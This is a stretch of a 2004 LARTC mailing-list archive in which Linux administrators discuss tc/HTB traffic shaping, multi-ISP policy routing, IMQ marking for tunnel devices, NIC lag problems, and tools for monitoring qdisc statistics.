MB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFGMEQGA1UECxM9d3d3LnZlcmlzaWdu
LmNvbS9yZXBvc2l0b3J5L1JQQSBJbmNvcnAuIEJ5IFJlZi4sTElBQi5MVEQoYyk5ODFIMEYG
A1UEAxM/VmVyaVNpZ24gQ2xhc3MgMSBDQSBJbmRpdmlkdWFsIFN1YnNjcmliZXItUGVyc29u
YSBOb3QgVmFsaWRhdGVkAhBAkglURyQvbWGqT/0UvoyaMA0GCSqGSIb3DQEBAQUABIIBAK/1
a2P0VUBd2lFGzQnwIwxhVJ5wjOBHAscSOkqiNaqIA+/0v3fDyKmsAf6tesVTjLv8P8utVbPI
cNY8oVEbjuoZoKyYmZUM1TlUt6Y5+uWERMsJ9TlzmDsgBhsC8iqewRuiIItyXUlCwLgTDKa1
zHvpSoFBcErXNtau8W4T9q9r8AfUjzvC4EQ79BG7RT5fsHu4ABp9Q0+u2VL8jVTi22nPqVlX
NCD8XfKCdh+g/8Jk7h73g+S79M0LryJGsJkJKFtW0H1LQ+QWV3PuYFbe0ik1kAtzzFPXEdSG
s3JM8MjnFZib40NK7mK7o34rBsaEV7+SgvuQHR5HrMgFDvjRfdgAAAAAAAA=
--------------ms030508070206080806080101--


From nix4me@cfl.rr.com  Tue Oct 12 23:35:23 2004
From: nix4me@cfl.rr.com (nix4me@cfl.rr.com)
Date: Tue, 12 Oct 2004 18:35:23 -0400
Subject: [LARTC] help with outbound shaping on 1 nic
Message-ID: <8481a38499fe.8499fe8481a3@tampabay.rr.com>

Hi,
I have been reading the lartc docs and I am a bit confused.  I am trying to do the following:
 
I have 3 computers.  A linux router and 2 clients.  On one of the clients I run linux and I have a ftp server using passive mode.  I want to run traffic shaping on the linux client.  It has 1 nic.
 
I want to shape the outbound ftp traffic to 40 KBytes because my cable connection is 45K.  I have tried to mark traffic with iptables mangle rules but I have had no success.
 
Is there a simpler way to do this?
 
I want to preserve 100mbit traffic between my 2 clients!  And I want to ensure that www and email traffic are top priority.
 
Is it as simple as making a root class limited to 100mbit and then have 2 child classes, 1 with full speed for www and email and the second a 'catch all' that will throttle the ftp packets?
 
Any help would be greatly appreciated.
 
Mark


From ethy@inexo.com.br  Wed Oct 13 00:29:40 2004
From: ethy@inexo.com.br (Ethy H. Brito)
Date: Tue, 12 Oct 2004 21:29:40 -0200 (BRST)
Subject: [LARTC] fw and match filters (was NAT+mangle+tc)
In-Reply-To: <20041012055447.GA64097@fpsvr1z150.dartsd66.local>
References: <a763a15b0410110429231ff35@mail.gmail.com> <200410111209.24082.jasonb@edseek.com>
 <a763a15b0410110945381b4bb@mail.gmail.com> <20041011210417.GA522@samad.com.au>
 <20041011232045.6a513ed5@babalu.inexo.com.br> <20041012055447.GA64097@fpsvr1z150.dartsd66.local>
Message-ID: <Pine.LNX.4.58.0410122120490.201@node1>

On Tue, 12 Oct 2004, Robert Felber wrote:

> try:
>
> tc filter add dev eth2 protocol ip parent 1: prio 1 handle 1 fw classid 1:X
>
> X is your class, it should not be 1 since this is usually a root class (I
> guess you are using HTB). Example:

Ok. I created two special classes under '1:' for each interface to acomodate
the icmp traffic.
Now the 'tc filter ... fw ... ' lines works flawlessly.

But after I execute the 'tc filter ... fw ... ' command, every
'tc filter ... match ... ' after those gives me the
'RTNETLINK answers: Invalid argument' error.

Aren't they (fw and match) supposed to cohexist?

If I comment the 2 'filter fw' lines the errors desappear.
Any ideas?

Ethy H. Brito         /"\
InterNexo Ltda.       \ /  CAMPANHA DA FITA ASCII - CONTRA MAIL HTML
+55 (12) 3941-6860     X   ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL
S.J.Campos - Brasil   / \

From david@itc.com.ar  Wed Oct 13 00:37:21 2004
From: david@itc.com.ar (David Bustamante)
Date: Tue, 12 Oct 2004 20:37:21 -0300
Subject: [LARTC] Not work fine, Two Internet links
Message-ID: <001001c4b0b4$6baf02d0$0a32a8c0@SERVEREND>

Hi! sorry my english (soy de Argentina)

This is my scene:

ISP 1: IP X.X.X.7/28, GW X.X.X.1
ISP 2: IP X.X.X.22/30, GW X.X.X.21

LINUX SERVER:
eth0, ISP 1 (default)
eth1, to intranet 192.168.1.0/24, 192.168.6.0/24, 192.168.50.0/24 (aliasing)
eth2, to intranet 192.168.8.0/24, 192.168.9.0/24
eth3, to intranet 192.168.0.0/24
eth4, ISP 2
eth5, to intranet 192.168.11.0/24, 192.168.12.0/24

I need two Internet connection for more BW. I read all the information on
lartc.org, FAQ, nano script, netsane script, advance routing, etc. but i
can´t make that "two ISP links" work.

My last script test, work good for 30 minutes, but after is very slow and
the
upload traffic as mail  is veeeery slow:

# add on file: /etc/iproute2/rt_tables
#
# 7     valida.7
# 22    valida.22
#
ip route add default via X.X.X.1 table valida.7
ip route add default via X.X.X.21 table valida.22

ip rule add from 192.168.0.0/24 lookup valida.7
ip rule add from 192.168.1.0/24 lookup valida.7
ip rule add from 192.168.6.0/24 lookup valida.7
ip rule add from 192.168.11.0/24 lookup valida.7
ip rule add from 192.168.12.0/24 lookup valida.7
ip rule add from 192.168.50.0/24 lookup valida.7
ip rule add from 192.168.8.0/24 lookup valida.7
ip rule add from 192.168.9.0/24 lookup valida.7

I know that is incomplete, but: what more i need write?

Thank !!!

pdta: sorry my english

David



From r.felber@ek-muc.de  Wed Oct 13 06:38:08 2004
From: r.felber@ek-muc.de (Robert Felber)
Date: Wed, 13 Oct 2004 07:38:08 +0200
Subject: [LARTC] fw and match filters (was NAT+mangle+tc)
In-Reply-To: <Pine.LNX.4.58.0410122120490.201@node1>
References: <a763a15b0410110429231ff35@mail.gmail.com>
 <200410111209.24082.jasonb@edseek.com>
 <a763a15b0410110945381b4bb@mail.gmail.com>
 <20041011210417.GA522@samad.com.au>
 <20041011232045.6a513ed5@babalu.inexo.com.br>
 <20041012055447.GA64097@fpsvr1z150.dartsd66.local>
 <Pine.LNX.4.58.0410122120490.201@node1>
Message-ID: <1097645888.93135.9.camel@fpsvr1z150.dartsd66.local>

--=-1Ir2duepCng/28bPdBi7
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

On Wed, 2004-10-13 at 01:29, Ethy H. Brito wrote:

> Ok. I created two special classes under '1:' for each interface to acomod=
ate
> the icmp traffic.
> Now the 'tc filter ... fw ... ' lines works flawlessly.
>=20
> But after I execute the 'tc filter ... fw ... ' command, every
> 'tc filter ... match ... ' after those gives me the
> 'RTNETLINK answers: Invalid argument' error.
>=20
> Aren't they (fw and match) supposed to cohexist?

Hm, no. I have a setup based soley on fw-marks. After adding an u32
match filter i get no RTNETLINK messages:

# tc filter show dev imq0
filter parent 1: protocol ip pref 1 fw=20
filter parent 1: protocol ip pref 1 fw handle 0x1 classid 1:10=20
filter parent 1: protocol ip pref 2 fw=20
filter parent 1: protocol ip pref 2 fw handle 0x2 classid 1:20=20
filter parent 1: protocol ip pref 10 u32=20
filter parent 1: protocol ip pref 10 u32 fh 800: ht divisor 1=20
filter parent 1: protocol ip pref 10 u32 fh 800::800 order 2048 key=20
  ht 800 bkt 0 flowid 1:30=20
  match 312c0404/ffffffff at 12

probably some version bug? I have

# tc -V
tc utility, iproute2-ss020116


--=20
Robert Felber (EDV-Leitung)
Autohaus Erich Kuttendreier=20
Drosselweg 21
81827 Muenchen

Tel: +49 (0) 89 / 453 12-86
Fax: +49 (0) 89 / 453 12-80

PGP: 896CF30B
PGP-Fingerprint: CF36 AA93 9716 63E8 962F 15CC A80E 1A79 BF77 25EA

--=-1Ir2duepCng/28bPdBi7
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (FreeBSD)

iD8DBQBBbL9ACn+wd4ls8wsRAg+fAJ9ehXx0T7bTlwezt5jXtlsY38UkwQCfaGTR
cEnUXX1nZ2TlbFA4JQlQ8Wk=
=I0yr
-----END PGP SIGNATURE-----

--=-1Ir2duepCng/28bPdBi7--


From Ow.Mun.Heng@wdc.com  Wed Oct 13 09:37:09 2004
From: Ow.Mun.Heng@wdc.com (Ow Mun Heng)
Date: Wed, 13 Oct 2004 16:37:09 +0800
Subject: [LARTC] Traffic Control software port for linux 2.6.X?
In-Reply-To: <416C323B.2000503@zavgren.com>
References: <416C323B.2000503@zavgren.com>
Message-ID: <1097656629.7160.56.camel@neuromancer.home.net>

On Wed, 2004-10-13 at 03:36, John Zavgren wrote:
> Is there a port of this code availble for testing purposes?
Wht software? What code? What Testing? 

tc is already available. I'm using it.

-- 
Ow Mun Heng
Fedora GNU/Linux Core 2 on D600 1.4Ghz CPU kernel
2.6.7-2.jul1-interactive 
Neuromancer 16:36:46 up 7:25, 8 users, load average: 3.44, 1.71, 0.97 

From rmocius@auste.elnet.lt  Wed Oct 13 13:53:51 2004
From: rmocius@auste.elnet.lt (Remus)
Date: Wed, 13 Oct 2004 13:53:51 +0100
Subject: [LARTC] Traffic shaping and tun devices
Message-ID: <045101c4b123$b063f8d0$6e69690a@RIMAS>

This is a multi-part message in MIME format.

------=_NextPart_000_044E_01C4B12C.1206F620
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi folks,

I have three network cards on my Slackware box and eth0 and eth1 are for =
two Internet connections.
They have imq0 and imq1. All traffic shaping works fine.
Internal eth2 does no traffic shaping.

But recently I have put two OpenVPN tunnels (tun devices) and both work =
via eth0.

So my question is - how to shape the traffic on these tun0 and tun1 =
devices?



Thanks

Remus


------=_NextPart_000_044E_01C4B12C.1206F620
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2900.2180" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi folks,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have three network cards on my =
Slackware box and=20
eth0 and eth1 are for two Internet connections.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>They have imq0 and imq1. All traffic =
shaping works=20
fine.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Internal eth2 does no traffic =
shaping.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>But recently I have put two OpenVPN =
tunnels (tun=20
devices) and both&nbsp;work via eth0.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>So my question is - how to shape the =
traffic on=20
these tun0 and tun1 devices?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Remus</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_044E_01C4B12C.1206F620--



From rio@martin.mu  Wed Oct 13 21:14:56 2004
From: rio@martin.mu (Rio Martin.)
Date: Wed, 13 Oct 2004 20:14:56 +0000
Subject: [LARTC] Traffic shaping and tun devices
In-Reply-To: <045101c4b123$b063f8d0$6e69690a@RIMAS>
References: <045101c4b123$b063f8d0$6e69690a@RIMAS>
Message-ID: <200410132014.56327.rio@martin.mu>

On 13 October 2004 pm 12:53, Remus wrote:
> Hi folks,
> I have three network cards on my Slackware box and eth0 and eth1 are for
> two Internet connections. They have imq0 and imq1. All traffic shaping
> works fine.
> Internal eth2 does no traffic shaping.
> But recently I have put two OpenVPN tunnels (tun devices) and both work via
> eth0.
> So my question is - how to shape the traffic on these tun0 and tun1
> devices?
> Thanks
> Remus

Mark on mangle table and place them into IMQ

example:
iptables -t mangle -o tun0 bla bla bla -j IMQ --todev 0
iptables -t mangle -o tun1 bla bla bla -j IMQ --todev 1

- Rio.Martin -

From huetmann@site38.ping.at  Wed Oct 13 14:33:22 2004
From: huetmann@site38.ping.at (Peter Huetmannsberger)
Date: Wed, 13 Oct 2004 15:33:22 +0200 (CEST)
Subject: [LARTC] Is this actually possible?
In-Reply-To: <416A4E38.3040005@h2o.sky.lt>
Message-ID: <Pine.LNX.4.44.0410131518540.28724-100000@george.eliot.priv.at>

Hi everyone, and thanks for your help so far. 

I have been playing around with tc and htb for a couple of weeks now, and 
while I am nowhere near understanding everything here, I am beginning to 
know more about packets than I ever wanted to know. 

I have two university buildings with a 1mb connection to the Internet. The
two buildings (on either side of town) are connected through a tunnel
using their internet connection, so that the administration can use the
database across town. They have to share the connection with all the
students on both sides, and the traffic the teachers create. So the people
in admin have a hard time connecting to their database.

What I have done so far is to create two leaves 1:10 and 1:20 and filtered 
the traffic going to the database on the far end. What the admin there 
would like is, that the connection is fully available for everyone, until 
the secretary wants to look something up on the database. Then it should 
have top prority and all the other traffic should virtually stop.

I managed to apply the filters and have the packets ending up in the right 
leaf. But the results are far from satisfactory. 

#!/bin/bash
tc qdisc add dev eth1 root handle 1: htb default 30
tc class add dev eth1 parent 1: classid 1:1 htb rate 96mbit burst 15k
tc class add dev eth1 parent 1: classid 1:7 htb rate 128kbps burst 15k
tc class add dev eth1 parent 1:1 classid 1:10 htb rate 96mbit burst 15k
tc class add dev eth1 parent 1:7 classid 1:20 htb rate 127kbps ceil 128kbps 
	burst 15k prio 0
tc class add dev eth1 parent 1:7 classid 1:30 htb rate 1kbps ceil 128kbps 
	burst 1k prio 2 
tc qdisc add dev eth1 parent 1:10 handle 10: sfq perturb 10
tc qdisc add dev eth1 parent 1:20 handle 20: sfq perturb 10
tc qdisc add dev eth1 parent 1:30 handle 30: sfq perturb 10
U32="tc filter add dev eth1 protocol ip parent 1:0 prio 1 u32"
$U32 match ip src xx.xx.xx.xx/26 flowid 1:10
$U32 match ip dst 10.190.19.0/28 match ip sport 19813 0xffff flowid 1:20

Only if I lower the ceiling on leaf 1:30 does it show any results. If I 
have the ceiling the same on both, there is no measureable result in 
speed. The both seem to share the connection equally.  

Am I missing the point, is it possible at all, or am I just too dum to get 
it right?

Thanks a lot, 

.peter


From zgiorgadze@gol.ge  Wed Oct 13 19:10:21 2004
From: zgiorgadze@gol.ge (Zviad O. Giorgadze)
Date: Wed, 13 Oct 2004 22:10:21 +0400
Subject: [LARTC] Is this actually possible?
Message-ID: <20041013181025.44CE72D5168@maile.online.ge>

>Hi everyone, and thanks for your help so far. 
>
>I have been playing around with tc and htb for a couple of weeks now, and 
>while I am nowhere near understanding everything here, I am beginning to 
>know more about packets than I ever wanted to know. 
>
>I have two university buildings with a 1mb connection to the Internet. The
>two buildings (on either side of town) are connected through a tunnel
>using their internet connection, so that the administration can use the
>database across town. They have to share the connection with all the
>students on both sides, and the traffic the teachers create. So the people
>in admin have a hard time connecting to their database.
>
>What I have done so far is to create two leaves 1:10 and 1:20 and filtered 
>the traffic going to the database on the far end. What the admin there 
>would like is, that the connection is fully available for everyone, until 
>the secretary wants to look something up on the database. Then it should 
>have top prority and all the other traffic should virtually stop.
>
>I managed to apply the filters and have the packets ending up in the right 
>leaf. But the results are far from satisfactory. 
>
>#!/bin/bash
>tc qdisc add dev eth1 root handle 1: htb default 30
>tc class add dev eth1 parent 1: classid 1:1 htb rate 96mbit burst 15k
>tc class add dev eth1 parent 1: classid 1:7 htb rate 128kbps burst 15k
>tc class add dev eth1 parent 1:1 classid 1:10 htb rate 96mbit burst 15k
>tc class add dev eth1 parent 1:7 classid 1:20 htb rate 127kbps ceil 128kbps 
>	burst 15k prio 0
>tc class add dev eth1 parent 1:7 classid 1:30 htb rate 1kbps ceil 128kbps 
>	burst 1k prio 2 
>tc qdisc add dev eth1 parent 1:10 handle 10: sfq perturb 10
>tc qdisc add dev eth1 parent 1:20 handle 20: sfq perturb 10
>tc qdisc add dev eth1 parent 1:30 handle 30: sfq perturb 10
>U32="tc filter add dev eth1 protocol ip parent 1:0 prio 1 u32"
>$U32 match ip src xx.xx.xx.xx/26 flowid 1:10
>$U32 match ip dst 10.190.19.0/28 match ip sport 19813 0xffff flowid 1:20
>
>Only if I lower the ceiling on leaf 1:30 does it show any results. If I 
>have the ceiling the same on both, there is no measureable result in 
>speed. The both seem to share the connection equally.  
>
>Am I missing the point, is it possible at all, or am I just too dum to get 
>it right?
>
>Thanks a lot, 
>
>.peter

I have the same problem and unable to solve.

According to tc-htb man page, if we set PRIO parameter, then after supplying the packets to satisfy the RATE of all classes, the HTB first sends the available packets to LOWEST PRIO class and so on. In this case if the above class 1:20 with PRIO 0 requests packets, than the class 1:30 must receive only 1kbit (the specified RATE), nothing more. In practice class 1:30 shares the bandwidth with class 1:20 and gets not 1kbit, but much more >20kbit.
I have TSL 2.1, kernel 2.4.27-3tr. I changed the PSCHED_CPU and disabled the HTB hysteresis, set SFQ queue length to 16, but the results are the same.

Is there something wrong with my understanding? Can anyone explain why PRIO not works?

Regards,
		
Zviad



From mslinn@zamples.com  Wed Oct 13 21:02:53 2004
From: mslinn@zamples.com (Mike Slinn)
Date: Wed, 13 Oct 2004 13:02:53 -0700
Subject: [LARTC] Resetting traffic history
Message-ID: <416D89ED.6090508@zamples.com>

This is a multi-part message in MIME format.
--------------000206010400080506000202
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

I'm a tc newbie, and I think I am close to being able to use it to 
control one of the virtual web sites on our Gentoo Linux server.  The 
site has it's own IP address.  I have a bit of a problem in that the way 
I originally configured tc, the busy site grabbed all the bandwidth, 
leaving none for the other (and more important) sites.  Here is how I 
had configured it:

    tc qdisc replace dev $NIC root tbf rate $RATE_TOTAL latency 50ms
    burst $BURST

The total data rate was pegged within acceptable limits, but the problem 
is that data stopped flowing after tc was active after a few hours.  The 
busy site had a few peak periods and presumably used up all the traffic 
allotment.  Perhaps tc remembers the traffic between invocations?

I then tried a slightly more sophisticated setup:

    tc qdisc del dev $DEV root
    tc qdisc  add dev $NIC root handle 1: cbq avpkt 1000 bandwidth 1000mbit
    tc class  add dev $NIC parent 1: classid 1:1 cbq rate $RATE_PROBLEM
    allot 1500 prio 5 bounded # isolated
    tc filter add dev $NIC parent 1: protocol ip prio 16 u32 match ip
    dst $IP flowid 1:1

Unfortunately, I still don't get any traffic flowing while tc is active 
now.  Seems that I need to reset something.  Any suggestions?  I've shut 
down the problem site and disabled tc while I try to figure out a solution.

Thanks for your help!

Mike
mslinn at mslinn.com

--------------000206010400080506000202
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">
  <title></title>
</head>
<body bgcolor="#ffffff" text="#000000">
<meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">
<title></title>
I'm a tc newbie, and I think I am close to being able to use it to
control one of the virtual web sites on our Gentoo Linux server.&nbsp; The
site has it's own IP address.&nbsp; I have a bit of a problem in that the
way I originally configured tc, the busy site grabbed all the
bandwidth, leaving none for the other (and more important) sites.&nbsp; Here
is how I had configured it:<br>
<blockquote><tt>tc qdisc replace dev $NIC root tbf rate $RATE_TOTAL
latency 50ms burst $BURST</tt><br>
</blockquote>
The total data rate was pegged within acceptable limits, but the
problem is that data stopped flowing after tc was active after a few
hours.&nbsp; The busy site had a few peak periods and presumably used up all
the traffic allotment.&nbsp; Perhaps tc remembers the traffic between
invocations?<br>
<br>
I then tried a slightly more sophisticated setup:<br>
<blockquote><tt>tc qdisc del dev $DEV root</tt><br>
  <tt>tc qdisc&nbsp; add dev $NIC root handle 1: cbq avpkt 1000 bandwidth
1000mbit</tt><br>
  <tt>tc class&nbsp; add dev $NIC parent 1: classid 1:1 cbq rate
$RATE_PROBLEM allot 1500 prio 5 bounded # isolated</tt><br>
  <tt>tc filter add dev $NIC parent 1: protocol ip prio 16 u32 match ip
dst $IP flowid 1:1</tt><br>
</blockquote>
Unfortunately, I still don't get any traffic flowing while tc is active
now.&nbsp; Seems that I need to reset something.&nbsp; Any suggestions?&nbsp; I've
shut down the problem site and disabled tc while I try to figure out a
solution.<br>
<br>
Thanks for your help!<br>
<br>
Mike<br>
mslinn at mslinn.com<br>
</body>
</html>

--------------000206010400080506000202--


From mslinn@zamples.com  Wed Oct 13 21:06:16 2004
From: mslinn@zamples.com (Mike Slinn)
Date: Wed, 13 Oct 2004 13:06:16 -0700
Subject: [LARTC] Apologies
Message-ID: <416D8AB8.5000001@zamples.com>

Seems I sent an HTML message to the listserv by mistake.  Sorry!

Mike


From hariett.jones@wp.pl  Wed Oct 13 21:12:42 2004
From: hariett.jones@wp.pl (Hariett Jones)
Date: Wed, 13 Oct 2004 22:12:42 +0200
Subject: [Fwd: Re: [LARTC] ssh and cs LAG]
Message-ID: <416D8C3A.3050602@wp.pl>

Got some solutions myself.

LAG is caused by :
NETDEV WATCHDOG eth0 timeout

this is caused bacause of problems with rtl8139 network card in kernel 2.6.x

Solutions :
1.add in lilo.conf : append="noapic"
2.turn apic off in bios
3.if u have 2 rtl8139 cards, then exchange one with some other card type 
(chipset)

btw. all above was found in various polish forums, but none has worked 
for me. im switching kernel back to 2.4.22, and will report later .




From webmaster@familie-ott.info  Wed Oct 13 22:34:46 2004
From: webmaster@familie-ott.info (Stephan M. Ott)
Date: Wed, 13 Oct 2004 23:34:46 +0200
Subject: AW: [Fwd: Re: [LARTC] ssh and cs LAG]
In-Reply-To: <416D8C3A.3050602@wp.pl>
Message-ID: <001001c4b16c$8d9baa70$3700a8c0@nathanxp>

Switching back to older kernel won't do much.
I've had this problem much earlier when using two NICs of the same type.
I couldn't figure out why, but there ARE problems is many ways when
using two cards of the same type. I had problems with sharing, with
routing, etc. etc.
Best solution is to use different NICs... don't ask me why... I just
found out that this will solve the problems...



-----Urspr=FCngliche Nachricht-----
Von: lartc-admin@mailman.ds9a.nl [mailto:lartc-admin@mailman.ds9a.nl] Im
Auftrag von Hariett Jones
Gesendet: Mittwoch, 13. Oktober 2004 22:13
An: lartc@mailman.ds9a.nl
Betreff: [Fwd: Re: [LARTC] ssh and cs LAG]

Got some solutions myself.

LAG is caused by :
NETDEV WATCHDOG eth0 timeout

this is caused bacause of problems with rtl8139 network card in kernel
2.6.x

Solutions :
1.add in lilo.conf : append=3D"noapic"
2.turn apic off in bios
3.if u have 2 rtl8139 cards, then exchange one with some other card type

(chipset)

btw. all above was found in various polish forums, but none has worked=20
for me. im switching kernel back to 2.4.22, and will report later .



_______________________________________________
LARTC mailing list / LARTC@mailman.ds9a.nl
http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/


From jlaraujo@mercs.homeip.net  Wed Oct 13 22:55:23 2004
From: jlaraujo@mercs.homeip.net (Jose Luis Araujo)
Date: Wed, 13 Oct 2004 22:55:23 +0100
Subject: [LARTC] Qdisc statistics project
In-Reply-To: <200410121632.38611.alg0@iit.demokritos.gr>
References: <200410121632.38611.alg0@iit.demokritos.gr>
Message-ID: <416DA44B.5060001@mercs.homeip.net>

Hi Antonios.

Antonios Chalkiopoulos wrote:

>As a necessety for my job is to real-time monitor the bytes, packets, pa=
cket=20
>dropped etc of all the qdiscs working inside the kernel i've tried variu=
s=20
>methods:
>
>1. Parse tc -s command output and update a round robin database and use =

>rrdtool to graphically display tc statistics.
>
> =20
>
I have developed myself a similar setup, but i used a perl script with=20
snmp pass_persist to retrieve the data via snmp feed it to MRTG and then =

display it with a CGI script, since i changed jobs recently i made some=20
changes to the setup and was thinking in creating a sourceforge project.

But i don't think it is ready for that yet, i mean, it is working=20
beautifully for me (and in my previous employer) but there are some=20
rough edges to address first.

Btw, the setup generates TC, iptables and MRTG configuration from a=20
config file.

I think it is time to see how can the setup be improved.

>[varius perl scripts exist for the above job]
>
>2. Unsuccesfully tried QoS SNMP extensions, in order to use a new MIB to=
=20
>extract qdisc stats from.
>
>There is also some work in the kernel level that will help reveal qdisc =
stats=20
>to userspace (thanks Thomas Graf)
> =20
>
I have never heard of this, must google it.

>To get to the point.. the perl parsing method is hackish and quick&dirty=
=2E
>A proper open-source tc monitoring tool SHOULD exist ! Maybe inside ipro=
ute2=20
>maybe in sourceforge.
> =20
>
I really never tried to write a better tool, with less 'tc -s' parsing,=20
don't have the time or incentive to hack the needed code, so can't help=20
you there :-)

>Are there any volunteers to start working on such a project? I could put=
 4-6=20
>weeks full time work on that... any suggestion for the most proper solut=
ion=20
>to the above problem is welcome.
> =20
>
I can forward you the software that i use with some documentation.

>Thanks,
>Antonio =20
>_______________________________________________
>LARTC mailing list / LARTC@mailman.ds9a.nl
>http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
> =20
>

Hope it Helps

Jos=E9 Ara=FAjo




From jasonb@edseek.com  Wed Oct 13 22:58:14 2004
From: jasonb@edseek.com (Jason Boxman)
Date: Wed, 13 Oct 2004 17:58:14 -0400
Subject: AW: [Fwd: Re: [LARTC] ssh and cs LAG]
In-Reply-To: <001001c4b16c$8d9baa70$3700a8c0@nathanxp>
References: <001001c4b16c$8d9baa70$3700a8c0@nathanxp>
Message-ID: <200410131758.14358.jasonb@edseek.com>

On Wednesday 13 October 2004 17:34, Stephan M. Ott wrote:
> Switching back to older kernel won't do much.
> I've had this problem much earlier when using two NICs of the same type.
> I couldn't figure out why, but there ARE problems is many ways when
> using two cards of the same type. I had problems with sharing, with
> routing, etc. etc.
> Best solution is to use different NICs... don't ask me why... I just
> found out that this will solve the problems...
>

It's probably the machine.  I have three rtl8139 based cards in a box and it's 
been working flawlessly for six months.  I've used 2.4 series kernels and 2.6 
series kernels on the box in question.

-- 

Jason Boxman
Perl Programmer / *NIX Systems Administrator
Shimberg Center for Affordable Housing | University of Florida
http://edseek.com/ - Linux and FOSS stuff


From mslinn@zamples.com  Wed Oct 13 23:09:28 2004
From: mslinn@zamples.com (Mike Slinn)
Date: Wed, 13 Oct 2004 15:09:28 -0700
Subject: [Fwd: Re: [LARTC] ssh and cs LAG]
In-Reply-To: <416D8C3A.3050602@wp.pl>
References: <416D8C3A.3050602@wp.pl>
Message-ID: <416DA798.1050900@zamples.com>

Hariett,

Switching to the 2.4 kernel is not an option as this is a production server.

The machine has a dual Intel PRO/1000 NIC.

The machine usies grub, not lilo, but that doesn't really matter.  Not 
sure if APIC is an issue or not.

Thanks for your help.

Mike


Hariett Jones wrote:

> Got some solutions myself.
>
> LAG is caused by :
> NETDEV WATCHDOG eth0 timeout
>
> this is caused bacause of problems with rtl8139 network card in kernel 
> 2.6.x
>
> Solutions :
> 1.add in lilo.conf : append="noapic"
> 2.turn apic off in bios
> 3.if u have 2 rtl8139 cards, then exchange one with some other card 
> type (chipset)
>
> btw. all above was found in various polish forums, but none has worked 
> for me. im switching kernel back to 2.4.22, and will report later .
>
>
>
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
>



From jasonb@edseek.com  Wed Oct 13 23:12:03 2004
From: jasonb@edseek.com (Jason Boxman)
Date: Wed, 13 Oct 2004 18:12:03 -0400
Subject: [LARTC] Qdisc statistics project
In-Reply-To: <200410121632.38611.alg0@iit.demokritos.gr>
References: <200410121632.38611.alg0@iit.demokritos.gr>
Message-ID: <200410131812.03043.jasonb@edseek.com>

On Tuesday 12 October 2004 09:32, Antonios Chalkiopoulos wrote:
> As a necessety for my job is to real-time monitor the bytes, packets,
> packet dropped etc of all the qdiscs working inside the kernel i've tried
> varius methods:
>
> 1. Parse tc -s command output and update a round robin database and use
> rrdtool to graphically display tc statistics.

I find that generally works.

> [varius perl scripts exist for the above job]
>
> 2. Unsuccesfully tried QoS SNMP extensions, in order to use a new MIB to
> extract qdisc stats from.

I was playing with that as well, but of late it doesn't seem to be actively 
developed.  Someone else mentioned LQL[1], but it doesn't seem to have hooks 
to let you grab qdisc stats yet.

[1] http://www.coverfire.com/lql/

> There is also some work in the kernel level that will help reveal qdisc
> stats to userspace (thanks Thomas Graf)

Are you talking about tcstat[2]?

[2] http://reeler.org/tcstat/index.html

> To get to the point.. the perl parsing method is hackish and quick&dirty.
> A proper open-source tc monitoring tool SHOULD exist ! Maybe inside
> iproute2 maybe in sourceforge.

LQL seems to be the only actively developed project currently that could 
eventually allow you to plug into netlink and poll for statistics.  Right now 
it seems you can only get and set parameters.

> Are there any volunteers to start working on such a project? I could put
> 4-6 weeks full time work on that... any suggestion for the most proper
> solution to the above problem is welcome.

I wrote yet another script to poll `tc` for statistics and pass that 
information off to RRDTool via Perl's RRDs module.  I am using it for 
diagnostic purposes.  It polls every 10s and updates a graph[3].

For long term tracking I am going to write a simple plugin for Munin[4] to 
grab information every five minutes and pass that off for graphing.

[3] http://edseek.com/foo.png
[4] http://www.linpro.no/projects/munin/

-- 

Jason Boxman
Perl Programmer / *NIX Systems Administrator
Shimberg Center for Affordable Housing | University of Florida
http://edseek.com/ - Linux and FOSS stuff


From andy.furniss@dsl.pipex.com  Wed Oct 13 23:15:21 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Wed, 13 Oct 2004 23:15:21 +0100
Subject: [Fwd: Re: [LARTC] ssh and cs LAG]
In-Reply-To: <416D8C3A.3050602@wp.pl>
References: <416D8C3A.3050602@wp.pl>
